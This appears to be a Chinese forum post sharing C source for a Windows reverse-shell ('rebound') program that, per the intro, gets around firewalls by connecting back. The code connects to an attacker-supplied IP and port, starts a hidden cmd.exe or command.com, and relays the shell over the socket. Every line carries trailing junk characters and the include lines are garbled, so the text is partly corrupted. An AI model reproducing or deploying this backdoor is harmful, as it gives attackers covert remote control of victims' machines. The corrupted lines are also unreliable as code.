这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 '^[+]
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/* ============================== $}z/BV1I
Rebound port in Windows NT Wyeb1
By wind,2006/7 qZ@d:u
===============================*/ mieyL9*n7
#include "^wIoJ6H'
#include ]\L+]+u~
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#pragma comment(lib,"wsock32.lib") NZ6:ZzM
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void OutputShell(); X6qgApyE
SOCKET sClient; DUF$-'A
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; UA]fKi
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void main(int argc,char **argv) lB_X mI1t
{ ~82 {Y
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WSADATA stWsaData; T3 4Z#PFwe
int nRet; zfg+gd)Z
SOCKADDR_IN stSaiClient,stSaiServer; @M'qi=s*
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if(argc != 3) A:yql`&s
{ h.l.da1#
printf("Useage:\n\rRebound DestIP DestPort\n"); NPM2qL9&J
return; ,\aLv
} 5ddfdIp
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WSAStartup(MAKEWORD(2,2),&stWsaData); imAOYEH7}
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |GsMLY:0
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stSaiClient.sin_family = AF_INET; ?.lo[X<,*
stSaiClient.sin_port = htons(0); DBLM0*B
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); IXR'JZ?fH
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) u=vBjaN2_w
{ bQwG"N
printf("Bind Socket Failed!\n"); E'(nJ
return; BF;}9QebmS
} /;1O9HJa
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stSaiServer.sin_family = AF_INET; SBDGms
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Q7<VuXy
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); U|\ .)h=
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) i?uX'apk
{ B
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printf("Connect Error!"); @7.7+blS"H
return; r3-<~k-
} Ht\2 IP
OutputShell(); "Jg.)1Jw
} 9PV+Kr!c5I
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void OutputShell() [^6z>
{ Iwh0PfWJ
char szBuff[1024]; g;nLR<]
SECURITY_ATTRIBUTES stSecurityAttributes; v2p0EOS
OSVERSIONINFO stOsversionInfo; #<Xq\yC51
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; [m6+I9
STARTUPINFO stStartupInfo; ,R3TFVV!?
char *szShell; m.! M#x2!
PROCESS_INFORMATION stProcessInformation; Di4GaKa/
unsigned long lBytesRead; 5;XYF0
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); .QwB7+V4
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); DG0I-"s
stSecurityAttributes.lpSecurityDescriptor = 0; Fu5Y<*x
stSecurityAttributes.bInheritHandle = TRUE; T]zD+/=
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 7DoU7I\u
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); pPo(nH|<
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 1EC;t1.7
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HuU$x;~
stStartupInfo.wShowWindow = SW_HIDE; \0_jmX]p
stStartupInfo.hStdInput = hReadPipe; ;Oqf{em];
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; BnGoB`n
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GetVersionEx(&stOsversionInfo); >P\eHR,{-
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switch(stOsversionInfo.dwPlatformId) lBs-u h
{ ABkDOG2br
case 1: x|dP-E41\
szShell = "command.com"; qBh@^GxY),
break; o$+R
default: -1v9
szShell = "cmd.exe"; r Dlu&
break; Nq8 3 6HL
} UntFkoO
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); a7F_{Mm
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send(sClient,szMsg,77,0); Jvsy
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while(1) xU0iz{9
{ I9>vm]
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); cRD;a?0/6s
if(lBytesRead) n8_X<jIp3
{ ?<
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); :l!sKT?:d!
send(sClient,szBuff,lBytesRead,0); /#(IV_Eol
} k}&wy
else oq!\100
{ K\XQE50
lBytesRead=recv(sClient,szBuff,1024,0); F~
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if(lBytesRead<=0) break; ]y=U"g
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ?Fny_{&^H
} ort*Ux)
} V;"2=)X
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return; 'q |"+;
}